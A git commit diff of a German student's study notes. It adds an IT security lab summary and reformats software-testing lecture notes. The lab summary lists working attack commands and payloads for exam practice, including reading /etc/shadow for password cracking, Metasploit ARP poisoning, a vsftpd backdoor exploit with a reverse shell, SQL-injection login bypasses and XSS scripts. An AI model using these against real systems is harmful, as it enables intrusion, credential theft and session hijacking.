vault backup: 2025-07-03 16:57:46
This commit is contained in:
@@ -6,14 +6,37 @@
|
||||
- [x] Exploits IDS
|
||||
- [x] IPSEC
|
||||
- [x] SSH
|
||||
|
||||
# Gelesene Skript-Zusammenfassungen
|
||||
- [ ] Hashfunktionen
|
||||
- [ ] TLS 4.5
|
||||
- [ ] Firewalling
|
||||
- [ ] IP-Tables
|
||||
- [x] Exploits IDS
|
||||
- [ ] IPSEC
|
||||
- [ ] SSH
|
||||
|
||||
# Videos
|
||||
- [x] 3- hashing und signatur
|
||||
- [ ] 5 - challenge-response
|
||||
- [x] 5 - challenge-response
|
||||
- [ ] 6 - zertifikat
|
||||
- [ ] 7 - schlüsselhierarchien teil 1
|
||||
# Praktika
|
||||
|
||||
# Praktika (Zusammenfassung KI)
|
||||
- [x] 060 Portscans
|
||||
- [x] 010 Passwortsicherheit
|
||||
- [x] 020 DNS-Angriff
|
||||
- [x] 080 Mintm Attack
|
||||
- [x] 030 RADIUS
|
||||
- [x] 050 Firewall-Pen
|
||||
- [x] 120 IDS
|
||||
- [x] 160 Metasploit
|
||||
- [x] 110 SQL-Angriffe
|
||||
- [x] 100 XSS-Angriffe
|
||||
# Praktika (Durgeführt)
|
||||
- [x] 060 Portscans
|
||||
- [x] 010 Passwortsicherheit
|
||||
- Kein Zugriff auf den eigentlichen Rechner, weil der Nutzer nicht im Shadowtable ist... nice
|
||||
- [ ] 020 DNS-Angriff
|
||||
- [ ] 080 Mintm Attack
|
||||
- [ ] 030 RADIUS
|
||||
|
||||
|
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 17 KiB |
|
Before Width: | Height: | Size: 21 KiB After Width: | Height: | Size: 21 KiB |
348
Semester 6/ITSARCH/Labore/Zusammenfassung.md
Normal file
348
Semester 6/ITSARCH/Labore/Zusammenfassung.md
Normal file
@@ -0,0 +1,348 @@
|
||||
## 🖥️ **VirtualBox/VM Performance**
|
||||
|
||||
- Schildkröte-Symbol → Hyper-V und WSL unter Windows deaktivieren
|
||||
- Alternative: VMWare Workstation Pro (kostenloser Account nötig)
|
||||
|
||||
---
|
||||
|
||||
## 🔌 **Portscans**
|
||||
|
||||
**Was ist ein Port?**
|
||||
|
||||
- Virtuelle Schnittstelle für Verbindungen (0–65535 TCP/UDP, Layer 4)
|
||||
- Well Known Ports (0–1023): z. B. 22/SSH, 80/HTTP, 443/HTTPS, 53/DNS
|
||||
|
||||
**Portscanner?**
|
||||
|
||||
- Prüft Ports eines Hosts auf „offen“, „geschlossen“, „gefiltert“
|
||||
- Tools: `nmap`, `nc`, Bash-Loops mit `/dev/tcp`
|
||||
|
||||
**Portscan-Techniken**
|
||||
|
||||
- `Ping Scan`: ICMP Echo
|
||||
- `TCP SYN`: halb-offen (kein 3-Way Handshake)
|
||||
- `TCP Connect`: vollständiger 3-Way Handshake
|
||||
- `UDP Scan`: leere Pakete
|
||||
- `Stealth Scan`: FIN, XMAS, Idle Scan (Zombie)
|
||||
|
||||
**Detection & Prevention**
|
||||
|
||||
- Ungewöhnliches Verbindungsverhalten (viele Ports/IP)
|
||||
|
||||
- Tools: Firewalls, IDS, Rate-Limiting, Default-Deny-Prinzip
|
||||
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
netstat -tulpn
|
||||
sudo lsof -i -P -n
|
||||
nmap -p 20-80 172.22.x.x
|
||||
nc -zv 172.22.x.x 20-80
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔑 **Passwortsicherheit**
|
||||
|
||||
**Gute Passwörter**
|
||||
|
||||
- ≥12 Zeichen, Groß/Klein, Ziffern, Sonderzeichen
|
||||
- Keine Wörterbuchwörter oder persönliche Daten
|
||||
- Passwort-Manager nutzen, keine Wiederverwendung
|
||||
|
||||
**Cracking-Tools**
|
||||
|
||||
- Online: Hydra, crackstation.net
|
||||
- Offline: John the Ripper (JtR), Hashcat, ophcrack, Rainbowcrack
|
||||
|
||||
**John the Ripper (JtR)**
|
||||
|
||||
- Hash-Identifikation, Kandidaten-Generierung, Vergleich
|
||||
- Crack-Modi: Single, Wordlist, Incremental, Mask, Markov, Regex
|
||||
- Speed-Up: GPU, Threads `--fork=4`, gezielte Wortlisten
|
||||
- Linux: `sudo unshadow /etc/passwd /etc/shadow > combined.txt`
|
||||
- Crack: `john --wordlist=rockyou.txt combined.txt --format=crypt --users=root`
|
||||
|
||||
**Rainbow Tables**
|
||||
|
||||
- Vorgefertigte Hash-Ketten, schneller Lookup
|
||||
- Effektiv gegen unsalted Hashes (z. B. LM/NTLM)
|
||||
|
||||
---
|
||||
|
||||
## 🕵️♂️ **Man-in-the-Middle (MITM) & ARP-Spoofing**
|
||||
|
||||
**Grundidee**
|
||||
|
||||
- Angreifer täuscht Opfer und Gateway falsche MACs vor → Datenverkehr geht durch den Angreifer
|
||||
|
||||
**Tools & Schritte**
|
||||
|
||||
- `arp` → ARP-Cache anzeigen
|
||||
- Metasploit:
|
||||
```bash
|
||||
use auxiliary/spoof/arp/arp_poisoning
|
||||
set SHOSTS <gateway-IP>
|
||||
set DHOSTS <victim-IP>
|
||||
exploit
|
||||
```
|
||||
- Ettercap (GUI): Unified sniffing → Targets → Plugins → ARP Poisoning
|
||||
|
||||
**HTTPS MITM**
|
||||
|
||||
- Zertifikatsinjektion (Cain & Abel)
|
||||
- Nur möglich mit selbstsignierten Zertifikaten oder Downgrade-Attacken
|
||||
|
||||
---
|
||||
|
||||
## 🌐 **DNS-Angriffe**
|
||||
|
||||
**Methoden**
|
||||
|
||||
- DNS Spoofing / Cache Poisoning
|
||||
- DNS Hijacking, NXDOMAIN-Attacken
|
||||
- DNS Tunneling
|
||||
- DoH/DoT als Gegenmaßnahme
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
vim /etc/ettercap/etter.dns
|
||||
github.com A <Angreifer-IP>
|
||||
```
|
||||
|
||||
- Ettercap: DNS-Spoof Plugin aktivieren
|
||||
---
|
||||
|
||||
## 🔥 **Firewalls**
|
||||
|
||||
**Typen (nach Effizienz)**
|
||||
|
||||
1. Application Gateway (Layer 7)
|
||||
2. Proxy-Firewall
|
||||
3. Stateful Inspection (pfSense)
|
||||
4. Paketfilter-Firewall
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
iptables -I INPUT -p tcp --dport 80 -j DROP
|
||||
iptables -L -v
|
||||
firewall-cmd --direct --add-rule ipv4 filter OUTPUT 0 -d <IP> -j REJECT
|
||||
```
|
||||
|
||||
**Ports scannen**
|
||||
|
||||
```bash
|
||||
nmap -T4 <Firewall-IP>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 👀 **Intrusion Detection Systems (IDS)**
|
||||
|
||||
**Typen**
|
||||
|
||||
- NIDS: Netzwerkbasiert
|
||||
- HIDS: Hostbasiert
|
||||
- Hybrid, Anomaly-based, Signature-based
|
||||
|
||||
**Tools**
|
||||
|
||||
- Snort:
|
||||
```bash
|
||||
snort -q -A console -i eth0 -c /etc/snort/snort.conf
|
||||
```
|
||||
- Regeln:
|
||||
```text
|
||||
alert tcp any any -> 192.168.1.10 80 (msg:"HTTP access detected"; sid:1000001;)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📡 **RADIUS**
|
||||
|
||||
**AAA-Prinzip**
|
||||
|
||||
- Authentifizierung: Wer bist du?
|
||||
- Autorisierung: Was darfst du?
|
||||
- Accounting: Was hast du gemacht?
|
||||
|
||||
**Protokolle**
|
||||
|
||||
- PAP: Klartext (unsicher)
|
||||
- CHAP: Challenge-Response (sicherer)
|
||||
- EAP-TLS: Zertifikatsbasierte Auth (sehr sicher)
|
||||
|
||||
**Konfiguration**
|
||||
|
||||
- Clients: `/etc/raddb/clients.conf`
|
||||
- Users: `/etc/raddb/users`
|
||||
|
||||
**Test**
|
||||
|
||||
```bash
|
||||
radtest bob Secret123 <RADIUS-IP> 1812 secret123
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🎯 **Metasploit**
|
||||
|
||||
**Phasen Pentest (BSI)**
|
||||
|
||||
1. Vorbereitung
|
||||
2. Informationsbeschaffung
|
||||
3. Bewertung
|
||||
4. Angriff
|
||||
5. Abschluss
|
||||
|
||||
**Modultypen**
|
||||
|
||||
- Exploit: Schwachstelle ausnutzen
|
||||
- Payload: Shells, Meterpreter
|
||||
- Auxiliary: Scans, Fuzzing, DoS
|
||||
- Post-Exploitation: Nach dem Zugriff Aktionen durchführen
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
search vsftpd
|
||||
use exploit/unix/ftp/vsftpd_234_backdoor
|
||||
set RHOST <target-IP>
|
||||
set PAYLOAD linux/x86/shell_reverse_tcp
|
||||
set LHOST <attacker-IP>
|
||||
exploit
|
||||
```
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 🗄️ **SQL Injection**
|
||||
|
||||
🔑 **Login-Bypass Beispiel**
|
||||
|
||||
```sql
|
||||
Email: Admin@1337.org
|
||||
Passwort: " OR 1=1;#
|
||||
```
|
||||
|
||||
➡️ Führt zu Query:
|
||||
|
||||
```sql
|
||||
SELECT * FROM testumgebung_mysql_db.user
|
||||
WHERE user_email = "Admin@1337.org"
|
||||
AND user_password = "" OR 1=1;#
|
||||
```
|
||||
|
||||
✅ Da `1=1` immer true → Zugriff auch ohne Passwort
|
||||
|
||||
---
|
||||
|
||||
🔑 **Weitere Login-Bypass Varianten (Labor)**
|
||||
|
||||
- Mit manipuliertem Benutzernamen:
|
||||
|
||||
```sql
|
||||
Email: SvenMoller@teleworm.us
|
||||
Passwort: " OR 1=1;#
|
||||
```
|
||||
|
||||
➡️ Erfolgreich eingeloggt als Arand1978
|
||||
|
||||
- LIMIT 1 für nur einen User:
|
||||
|
||||
```sql
|
||||
Email: " OR 1=1 LIMIT 1;#
|
||||
Passwort: ignore
|
||||
```
|
||||
|
||||
➡️ Erfolgreich eingeloggt
|
||||
|
||||
---
|
||||
|
||||
🛠️ **Tool: sqlmap (Labor)**
|
||||
Analysiere SQLi-Lücken:
|
||||
|
||||
```bash
|
||||
sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=1"
|
||||
sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=2+AND+2=2"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
⚠️ **Hinweis (Labor)**
|
||||
|
||||
- `UNION SELECT` NICHT klausurrelevant:
|
||||
|
||||
```sql
|
||||
XSS_ProductView.php?clicked=1 UNION SELECT 1,'test',3,4,5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🪞 **Cross-Site Scripting**
|
||||
|
||||
📌 **Reflexives XSS (Labor)**
|
||||
Angriff im Suchfeld:
|
||||
|
||||
```html
|
||||
<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
URL-Beispiel:
|
||||
|
||||
```
|
||||
http://172.22.180.203/nie/php/XSS_Umgebung.php?suche=<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
➡️ Beim Aufruf wird der JS-Code direkt im Browser ausgeführt
|
||||
|
||||
---
|
||||
|
||||
📌 **Persistentes XSS (Labor)**
|
||||
Kommentar-Input manipulieren:
|
||||
|
||||
```
|
||||
Was ein wünderschönes Stück Baum dies doch ist. <script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
➡️ Jeder Nutzer, der die Seite lädt, bekommt den Alert
|
||||
|
||||
**Verschleierung (Labor)**:
|
||||
Kommentartext so gestalten, dass `<script>` im DB-Dump weniger auffällt.
|
||||
|
||||
---
|
||||
|
||||
🛠️ **Tool: xsser (Labor)**
|
||||
Automatisierte XSS-Prüfung:
|
||||
|
||||
```bash
|
||||
xsser -u http://172.22.180.102/nie/php/XSS_Umgebung.php?suche=XSS -s --user-agent "Googlebot/2.1" --threads 5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
🚨 **Session Hijacking (Labor Bonus)**
|
||||
|
||||
- Mit XSS Session Cookies stehlen
|
||||
- Danach als Opfer-User einloggen
|
||||
|
||||
**Mitigation**:
|
||||
|
||||
- `HttpOnly` Flag für Cookies
|
||||
- `htmlspecialchars($input, ENT_QUOTES)` in PHP
|
||||
|
||||
---
|
||||
|
||||
## 📋 **Kompakte Klausur-Befehlsübersicht**
|
||||
|
||||
|Angriff|Beispiel / Befehl|
|
||||
|---|---|
|
||||
|SQLi Login-Bypass|`Email: " OR 1=1;#`|
|
||||
|SQLi Tool|`sqlmap -u "<URL>"`|
|
||||
|Reflektiertes XSS|URL: `?suche=<script>alert(1)</script>`|
|
||||
|Persistentes XSS|Kommentar: `<script>alert('XSS')</script>`|
|
||||
|XSS Tool|`xsser -u <URL> -s --threads 5`|
|
||||
@@ -3,9 +3,7 @@
|
||||
- Ausnutzung einer **Sicherheitslücke** in Software/IT-Systemen
|
||||
- Besteht aus:
|
||||
- **Schadcode / Shellcode** (führt Payload aus)
|
||||
|
||||
- **Payload**: z. B. Fernzugriff, Malware, Download weiterer Software
|
||||
|
||||
- Oft **spezifisch** für ein bestimmtes Programm/Version
|
||||
### Lebenszyklus einer Sicherheitslücke
|
||||
1. Sicherheitslücke existiert (unbekannt)
|
||||
@@ -47,10 +45,11 @@
|
||||
- Erkennung und ggf. Verhinderung von Angriffen auf IT-Systeme
|
||||
### Unterscheidung:
|
||||
| IDS | IPS |
|
||||
|---|---|
|
||||
| --------------------------- | ------------------------------ |
|
||||
| Erkennung & Alarmierung | Erkennung + aktive Blockierung |
|
||||
| Passiv | Aktiv |
|
||||
| Beispiel: **Snort** als IDS | Snort mit Blockier-Funktion |
|
||||
|
||||
---
|
||||
## 🧱 IDS-KOMPONENTEN
|
||||
- **Sensor**: erkennt Ereignisse (Datenquelle)
|
||||
@@ -105,7 +104,6 @@
|
||||
- Preprozessoren
|
||||
- Add-ons
|
||||
- Logging- und Alarmierungsmechanismen
|
||||
|
||||
### Aufbau
|
||||
1. **Packet Decoder**: liest eingehende Pakete
|
||||
2. **Preprozessor**: erkennt z. B. Portscans
|
||||
|
||||
@@ -1,12 +1,9 @@
|
||||
## 🎯 ZIELE DER LEHRVERANSTALTUNG
|
||||
|
||||
- Vermittlung von **Grundlagen im Softwaretesten**
|
||||
|
||||
- Verständnis für **Begriffe, Aufgaben, Methoden & Verfahren**
|
||||
|
||||
- Vorbereitung auf die **CTFL-Prüfung** (international anerkannt)
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 🧪 WARUM SOFTWARETEST?
|
||||
@@ -14,43 +11,31 @@
|
||||
### Beispiele schwerwiegender Softwarefehler:
|
||||
|
||||
- ❌ Ariane 5: Absturz durch Reuse fehlerhafter Lageregelungssoftware
|
||||
|
||||
- ❌ T-Mobile (2009): Netzstörung durch Fehler im HLR
|
||||
|
||||
- ❌ Deutsche Bank / BAföG / GM / Roche: Fehler mit realen Konsequenzen
|
||||
|
||||
|
||||
➡️ Softwarefehler führen zu:
|
||||
|
||||
- **wirtschaftlichen Schäden**
|
||||
|
||||
- **Lebensgefahr (z. B. Medizintechnik, Automotive)**
|
||||
|
||||
- **Imageverlust**
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 💥 BEGRIFFE: Fehler, Bug, Defekt
|
||||
|
||||
- **Fehler (Defect)**: Abweichung vom erwarteten Verhalten
|
||||
|
||||
- **Bug**: oft als Synonym genutzt
|
||||
|
||||
- **Erster dokumentierter Bug**: Motte im Relay (1947)
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 🧠 TESTBARENGRUNDLAGEN
|
||||
|
||||
- Vollständiges Austesten ≠ realistisch möglich
|
||||
|
||||
- Beispiel 1: 3 Eingabewerte à 16 Bit → 2⁴⁸ Kombinationen → **ca. 90 Jahre**
|
||||
|
||||
- Beispiel 2: Schleifen + Verzweigungen → 10¹⁴ Testfälle → **38 Jahre**
|
||||
|
||||
|
||||
➡️ **Testen ist selektiv & risikobasiert notwendig!**
|
||||
|
||||
---
|
||||
@@ -60,23 +45,16 @@
|
||||
### Testziele:
|
||||
|
||||
- **Funktionalität prüfen**: korrektes Verhalten bei Eingaben
|
||||
|
||||
- **Fehlerhafte Eingaben erkennen**: negative Zahlen, zu viele/wenige Werte etc.
|
||||
|
||||
- **Grenzwerte testen**: z. B. `0`, `Max_Int`
|
||||
|
||||
|
||||
### Beispiel-Testfälle:
|
||||
|
||||
- Gleichseitig: 2,2,2
|
||||
|
||||
- Ungleichseitig: 2,3,4
|
||||
|
||||
- Ungültig: -5, 0, Zeichen, zu viele Werte
|
||||
|
||||
- Spezialfälle: Kombinationen nahe Grenzwerten
|
||||
|
||||
|
||||
➡️ **Testdaten ≠ zufällig**, sondern **gezielt konstruiert**
|
||||
|
||||
---
|
||||
@@ -87,7 +65,6 @@
|
||||
|
||||
- Komponententest → Integrationstest → Systemtest → Abnahmetest → Stresstest
|
||||
|
||||
|
||||
➡️ Übertragbar auf Software: **Teststufen & strukturiertes Vorgehen**
|
||||
|
||||
---
|
||||
@@ -95,25 +72,18 @@
|
||||
## 💬 FAZIT / MERKSPRÜCHE
|
||||
|
||||
- **„Testen zeigt die Anwesenheit von Fehlern, nicht ihre Abwesenheit.“**
|
||||
|
||||
- **„Ein Test ohne definiertes Ziel ist Zeitverschwendung.“**
|
||||
|
||||
- **„Keine Software ist fehlerfrei.“**
|
||||
|
||||
- **„Vollständiges Austesten ist meist unmöglich.“**
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 📚 LITERATUR & WEITERFÜHRENDES
|
||||
|
||||
- Lehrbuch: **Spillner/Linz** – _Basiswissen Softwaretest_
|
||||
|
||||
- Weitere: Beizer, Myers, Liggesmeyer, TMap, ISO 29119
|
||||
|
||||
- Fachzeitschriften & Konferenzen: _GTB_, _EuroSTAR_, _ICST_
|
||||
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE KERNAUSSAGEN
|
||||
|
||||
@@ -5,31 +5,21 @@
|
||||
### 1.1 Warum ist Testen notwendig?
|
||||
|
||||
- Softwarefehler können **Kosten, Sicherheitsprobleme, Rufschädigung** verursachen.
|
||||
|
||||
- Gründe für Fehler:
|
||||
|
||||
- Missverständnisse, Zeitdruck, komplexe Systeme, neue Technologien.
|
||||
|
||||
- **Testen reduziert Risiken**, aber **kann Fehler nicht vollständig beseitigen**.
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 1.2 Was ist Testen?
|
||||
|
||||
- Testen = **Planung, Vorbereitung, Durchführung & Bewertung** von Softwaretests.
|
||||
|
||||
- Ziel:
|
||||
|
||||
- Fehler finden
|
||||
|
||||
- Vertrauen schaffen
|
||||
|
||||
- Konformität mit Anforderungen prüfen
|
||||
|
||||
- Grundlage für Qualität liefern
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 1.3 Allgemeine Testziele
|
||||
@@ -46,10 +36,8 @@
|
||||
### 1.4 Testen und Debuggen
|
||||
|
||||
- **Testen**: Fehler _finden_
|
||||
|
||||
- **Debuggen**: Fehler _analysieren und beheben_
|
||||
|
||||
|
||||
➡️ Zwei **komplementäre Aktivitäten** im Lebenszyklus
|
||||
|
||||
---
|
||||
@@ -57,33 +45,22 @@
|
||||
### 1.5 Sieben Prinzipien des Testens (💡 Prüfungsrelevant)
|
||||
|
||||
1. **Testen zeigt Anwesenheit von Fehlern, nicht deren Abwesenheit**
|
||||
|
||||
2. **Vollständiges Testen ist nicht möglich**
|
||||
|
||||
3. **Frühes Testen spart Zeit und Geld**
|
||||
|
||||
4. **Fehlerhäufung in bestimmten Bereichen (Pareto-Prinzip)**
|
||||
|
||||
5. **Testwiederholungen → Testfälle anpassen (Testfallverfall)**
|
||||
|
||||
6. **Testen ist kontextabhängig (z. B. sicherheitskritisch vs. Webshop)**
|
||||
|
||||
7. **Trugschluss Fehlerfreiheit ≠ Gebrauchstauglichkeit**
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 1.6 Testprozess (Phasenmodell)
|
||||
|
||||
1. **Testplanung und -steuerung**
|
||||
|
||||
2. **Testanalyse und -design**
|
||||
|
||||
3. **Testrealisierung und -durchführung**
|
||||
|
||||
4. **Testauswertung und -abschluss**
|
||||
|
||||
|
||||
➡️ Unterstützt durch **Testüberwachung, Metriken & Dokumentation**
|
||||
|
||||
---
|
||||
@@ -91,17 +68,13 @@
|
||||
### 1.7 Psychologie des Testens
|
||||
|
||||
- Zielkonflikt Entwickler vs. Tester:
|
||||
|
||||
- Entwickler: „Software funktioniert!“
|
||||
|
||||
- Tester: „Software hat Schwächen!“
|
||||
|
||||
|
||||
🧠 Gute Zusammenarbeit & Kommunikation sind entscheidend:
|
||||
|
||||
- **Objektivität, Kritikfähigkeit, keine Schuldzuweisungen**
|
||||
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE MERKSÄTZE
|
||||
|
||||
@@ -9,19 +9,14 @@
|
||||
#### a) Sequenzielle Modelle (klassisch, Wasserfall, V-Modell)
|
||||
|
||||
- **Vorteil**: frühzeitige Planung, klare Phasen
|
||||
|
||||
- **Nachteil**: späte Fehlererkennung, wenig flexibel
|
||||
|
||||
|
||||
#### b) Iterative/inkrementelle Modelle (z. B. Agile)
|
||||
|
||||
- **Testen** = integraler Bestandteil jeder Iteration
|
||||
|
||||
- Kontinuierliches Feedback, frühe Tests
|
||||
|
||||
- Flexibler, aber aufwändiger
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 2.2 Teststufen (💡 Prüfungsrelevant)
|
||||
@@ -42,53 +37,39 @@
|
||||
#### Funktionale Tests
|
||||
|
||||
- Verhalten & Funktionen
|
||||
|
||||
- z. B. Geschäftslogik, Benutzerinteraktion
|
||||
|
||||
|
||||
#### Nicht-funktionale Tests
|
||||
|
||||
- **Leistung**, **Benutzbarkeit**, **Zuverlässigkeit**, **Sicherheit**
|
||||
|
||||
- Beispiel: Lasttests, Sicherheitstests
|
||||
|
||||
|
||||
#### Strukturbezogene Tests
|
||||
|
||||
- Interne Struktur (z. B. Codeabdeckung, Verzweigungspfad)
|
||||
|
||||
|
||||
#### Änderungsbezogene Tests
|
||||
|
||||
- **Re-Tests**: Prüfen behobener Fehler
|
||||
|
||||
- **Regressionstests**: Prüfen unbeabsichtigter Nebeneffekte
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 2.4 Wartungstest
|
||||
|
||||
- Tests im Produktivsystem nach Änderungen (Fehlerbehebung, Anpassung)
|
||||
|
||||
- Besonders wichtig:
|
||||
|
||||
- **Regressionstest**
|
||||
|
||||
- **Impact-Analyse**
|
||||
|
||||
- Testdaten und Testumgebung **aktuell halten**
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 2.5 Teststufen & Testarten kombinieren
|
||||
|
||||
- Beispiel: Im **Systemtest** können **funktionale Tests** UND **nicht-funktionale Tests** durchgeführt werden.
|
||||
|
||||
- Jeder Teststufe können verschiedene **Testziele** zugeordnet werden.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE MERKPUNKTE
|
||||
|
||||
@@ -5,17 +5,13 @@
|
||||
### 3.1 Was ist statisches Testen?
|
||||
|
||||
- **Statisches Testen** = Analyse **ohne Programmausführung**
|
||||
|
||||
- Ziel: **Frühzeitiges Erkennen** von Fehlern und Schwächen
|
||||
|
||||
- Ergänzt dynamisches Testen (mit Programmausführung)
|
||||
|
||||
|
||||
**Beispiele:**
|
||||
|
||||
- Dokumentation, Code, Testfälle, Anforderungen prüfen
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 3.2 Arten statischer Tests
|
||||
@@ -32,23 +28,16 @@
|
||||
#### Ziele:
|
||||
|
||||
- Automatisierte Prüfung von Quellcode
|
||||
|
||||
- **Vermeidung technischer Schulden**
|
||||
|
||||
|
||||
#### Erkennbar durch Tools:
|
||||
|
||||
- **Syntaxfehler**
|
||||
|
||||
- **Nicht initialisierte Variablen**
|
||||
|
||||
- **Dead Code / nicht erreichbarer Code**
|
||||
|
||||
- **Verletzungen von Codierstandards**
|
||||
|
||||
- **Sicherheitslücken (z. B. Buffer Overflow)**
|
||||
|
||||
|
||||
➡️ **Ergänzung, kein Ersatz für Reviews!**
|
||||
|
||||
---
|
||||
@@ -81,16 +70,11 @@
|
||||
### 3.6 Reviewprozess (z. B. Inspektion)
|
||||
|
||||
1. **Planung** (Teilnehmer, Artefakt, Reviewziel)
|
||||
|
||||
2. **Kick-off** (Einführung, Zielklärung)
|
||||
|
||||
3. **Einzelprüfung** (Teilnehmer sichten Artefakt individuell)
|
||||
|
||||
4. **Review-Meeting** (gemeinsame Sichtung, Diskussion)
|
||||
|
||||
5. **Nachbearbeitung** (Fehlerbehebung, Follow-up)
|
||||
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE MERKSÄTZE
|
||||
|
||||
@@ -5,12 +5,9 @@
|
||||
### 4.1 Einleitung: Warum Testverfahren?
|
||||
|
||||
- Systematisches Vorgehen → bessere **Testabdeckung**
|
||||
|
||||
- Unterstützung bei der Erstellung **guter Testfälle**
|
||||
|
||||
- Ziel: Fehler früh entdecken & reproduzierbar testen
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 🧪 HAUPTKATEGORIEN VON TESTVERFAHREN
|
||||
@@ -30,38 +27,28 @@ Nutzen **Eingabe-Ausgabe-Beziehung**, ohne Quellcode zu betrachten.
|
||||
#### a) Äquivalenzklassenbildung
|
||||
|
||||
- Eingaben in gültige/ungültige **Klassen** einteilen
|
||||
|
||||
- **Aus jeder Klasse → 1 Testfall**
|
||||
|
||||
|
||||
#### b) Grenzwertanalyse
|
||||
|
||||
- Grenzwerte sind **fehleranfällig**
|
||||
|
||||
- Testfälle **am Rand** der Äquivalenzklassen
|
||||
|
||||
|
||||
#### c) Entscheidungstabellen
|
||||
|
||||
- Repräsentieren **Regeln & Bedingungen**
|
||||
|
||||
- Kombinationen aus Bedingungen → Aktionen
|
||||
|
||||
|
||||
#### d) Zustandsbasierter Test
|
||||
|
||||
- Bei **zustandsbehafteten Systemen** (z. B. Automaten)
|
||||
|
||||
- Zustände, Übergänge, Events → modellieren & testen
|
||||
|
||||
|
||||
#### e) Use Case Test
|
||||
|
||||
- **Szenarien aus Benutzersicht** abdecken
|
||||
|
||||
- Ziel: reale Nutzungspfade testen
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🔳 2. WHITE-BOX-VERFAHREN
|
||||
@@ -69,15 +56,12 @@ Nutzen **Eingabe-Ausgabe-Beziehung**, ohne Quellcode zu betrachten.
|
||||
Berücksichtigen **interne Struktur** des Systems/Programms
|
||||
|
||||
#### a) Anweisungsüberdeckung
|
||||
|
||||
- Jede Anweisung im Code muss mindestens **einmal ausgeführt** werden
|
||||
|
||||
|
||||
#### b) Zweigüberdeckung
|
||||
|
||||
- Jeder Entscheidungspunkt (z. B. `if`, `else`) → **jede Richtung** wird getestet
|
||||
|
||||
|
||||
➡️ Für Entwicklernahe Tests (z. B. Komponententest)
|
||||
|
||||
---
|
||||
@@ -85,25 +69,17 @@ Berücksichtigen **interne Struktur** des Systems/Programms
|
||||
### 💡 3. ERFAHRUNGSBASIERTE VERFAHREN
|
||||
|
||||
- Beruhen auf **Intuition, Erfahrung, Bauchgefühl**
|
||||
|
||||
- Beispiele:
|
||||
|
||||
- **Fehlerbasiertes Testen**
|
||||
|
||||
- **Checklisten**
|
||||
|
||||
- **Exploratives Testen**
|
||||
|
||||
|
||||
Einsatz besonders:
|
||||
|
||||
- wenn wenig Dokumentation vorhanden ist
|
||||
|
||||
- bei Timeboxing (agile Projekte)
|
||||
|
||||
- als Ergänzung zu strukturierten Verfahren
|
||||
|
||||
|
||||
---
|
||||
|
||||
## ✅ KLAUSURRELEVANTE MERKPUNKTE
|
||||
|
||||
@@ -5,10 +5,8 @@
|
||||
### 🎯 Ziel
|
||||
|
||||
- Testfälle auf Basis der **Anforderungen/Spezifikation** ableiten
|
||||
|
||||
- Fokus: **funktionales Verhalten** (ohne Quellcode)
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 1. ✅ ÄQUIVALENZKLASSEN-BILDUNG
|
||||
@@ -17,23 +15,16 @@
|
||||
|
||||
- Eingaberaum in **repräsentative Klassen** aufteilen (gültig + ungültig)
|
||||
|
||||
|
||||
### Vorgehen:
|
||||
|
||||
1. Klassen identifizieren (z. B. Wertebereiche)
|
||||
|
||||
2. Gültige & ungültige Klassen bilden
|
||||
|
||||
3. Pro Klasse → 1 Repräsentant
|
||||
|
||||
|
||||
**Beispiel: Eingabe 1–10**
|
||||
|
||||
- Gültig: 1–10 → z. B. Testwert 5
|
||||
|
||||
- Ungültig: <1, >10 → z. B. Testwert 0 und 11
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 2. ⚠️ GRENZWERTANALYSE
|
||||
@@ -42,17 +33,14 @@
|
||||
|
||||
- **Fehler an Grenzen** von Wertebereichen erkennen
|
||||
|
||||
|
||||
### Vorgehen:
|
||||
|
||||
- Testfälle an & um die Grenze: `Grenze - 1`, `Grenze`, `Grenze + 1`
|
||||
|
||||
|
||||
**Beispiel: Bereich 1–10**
|
||||
|
||||
- Testfälle: 0, 1, 2 | 9, 10, 11
|
||||
|
||||
|
||||
➡️ Ergänzt Äquivalenzklassen
|
||||
|
||||
---
|
||||
@@ -63,23 +51,17 @@
|
||||
|
||||
- **Regelbasierte Entscheidungen** systematisch testen
|
||||
|
||||
|
||||
### Bestandteile:
|
||||
|
||||
- Bedingungen (z. B. "Kunde zahlt bar?")
|
||||
|
||||
- Aktionen (z. B. "Rabatt gewähren")
|
||||
|
||||
- Tabelle listet alle möglichen **Kombinationen**
|
||||
|
||||
|
||||
### Vorteile:
|
||||
|
||||
- Gute Testabdeckung bei **Kombinatorik**
|
||||
|
||||
- Auch für Geschäftsregeln & Konfigurationen geeignet
|
||||
